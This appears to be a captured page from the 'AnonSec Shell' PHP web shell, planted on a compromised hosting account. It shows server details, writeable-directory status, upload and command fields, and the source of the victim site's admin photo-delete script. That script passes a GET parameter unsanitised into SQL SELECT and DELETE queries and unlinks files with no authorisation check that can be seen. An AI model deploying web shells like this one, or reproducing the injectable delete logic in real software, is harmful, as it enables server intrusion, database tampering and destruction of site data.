AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.134
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/t/f/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/t/f/atfycaf/www/admin/galleryPhotosDelete.php
<?php
include 'globalVars.php';

if (isset($_GET["photoID"])) {
	$photoID	= $_GET["photoID"];

	if (isset($_GET["uploadVar"])) {
		$photoDatabase	= "photoGalleryTemp";
	} else {
		$photoDatabase	= "photoGallery";
	}

	$myFile		= "logGalleryDelete.txt";
	$dateOpened	= date("g:i:sa l jS F, Y");
	$stringData	= "OPENED: $dateOpened\n\n";
	$fh			= fopen($myFile, 'w');

	$imageURLquery = mysqli_query($conn, "SELECT galleryID, imageURL FROM ". $photoDatabase ." WHERE id = '$photoID'") or die (mysqli_error($conn));
	while ($iUQ = mysqli_fetch_array($imageURLquery)) {
		$galleryID	= $iUQ["galleryID"];
		$imageURL	= $iUQ["imageURL"];
	}
	if (isset($_GET["uploadVar"])) {
		$imageURL		= "temp/". $imageURL;
	}
	$imageURL		= $SERVER_ROOT ."/images/gallery/". $imageURL;
	$imageTitleURL	= substr_replace($imageURL, "-title", "-4", 0);
	$imageTHURL		= substr_replace($imageURL, "-thumb", "-4", 0);

	@unlink($imageURL);
	@unlink($imageTitleURL);
	@unlink($imageTHURL);

	$stringData		.= "UNLINK ". $imageURL ."\n";
	$stringData		.= "UNLINK ". $imageTitleURL ."\n";
	$stringData		.= "UNLINK ". $imageTHURL ."\n";

	$stringData	.= "DELETE FROM ". $photoDatabase ." WHERE id = '$photoID'\n";
	mysqli_query($conn, "DELETE FROM ". $photoDatabase ." WHERE id = '$photoID'");

	$trackDate		= date("Y-m-d H:i:s");
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/galleryPhotosDelete.php', '$photoDatabase', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; deleted the photo /images/gallery/". $imageURL ." from the photo gallery')");

	fwrite($fh, $stringData);
	fclose($fh);
}
?>

Anon7 - 2022
AnonSec Team